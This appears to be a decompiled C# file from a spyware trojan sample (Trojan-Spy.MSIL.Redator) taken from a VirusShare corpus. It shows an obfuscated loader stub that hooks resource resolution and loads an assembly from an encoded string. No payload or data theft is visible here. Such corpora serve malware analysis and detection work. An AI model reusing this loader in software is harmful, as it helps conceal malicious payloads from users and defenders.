// Decompiled with JetBrains decompiler
// Type: .
// Assembly: Stub, Version=2.1.1.1, Culture=neutral, PublicKeyToken=null
// MVID: EC6FBD32-3576-4D40-B4A5-7808EA9CDA7F
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.Redator.a-a676d1ab529ccd4de171c2caa0cf6a0e3a6f2ad515fcc76ba420581168da84db.exe

using \u0001;
using System;
using System.Reflection;
using System.Runtime.InteropServices;

namespace \u0001
{
  internal class \u0003
  {
    private static Assembly \u0001 = (Assembly) null;
    private static string[] \u0001 = new string[0];

    internal static void \u0003()
    {
      try
      {
        AppDomain.CurrentDomain.ResourceResolve += new ResolveEventHandler(\u0003.\u0003);
      }
      catch (Exception ex)
      {
      }
    }

    internal static Assembly \u0003([In] object obj0, [In] ResolveEventArgs obj1)
    {
      if ((object) \u0003.\u0001 == null)
      {
        lock (\u0003.\u0001)
        {
          \u0003.\u0001 = Assembly.Load(\u0001.\u0001.\u0003(151));
          if ((object) \u0003.\u0001 != null)
            \u0003.\u0001 = \u0003.\u0001.GetManifestResourceNames();
        }
      }
      string name = obj1.Name;
      for (int index = 0; index < \u0003.\u0001.Length; ++index)
      {
        if (\u0003.\u0001[index] == name)
          return \u0003.\u0001;
      }
      return (Assembly) null;
    }
  }
}
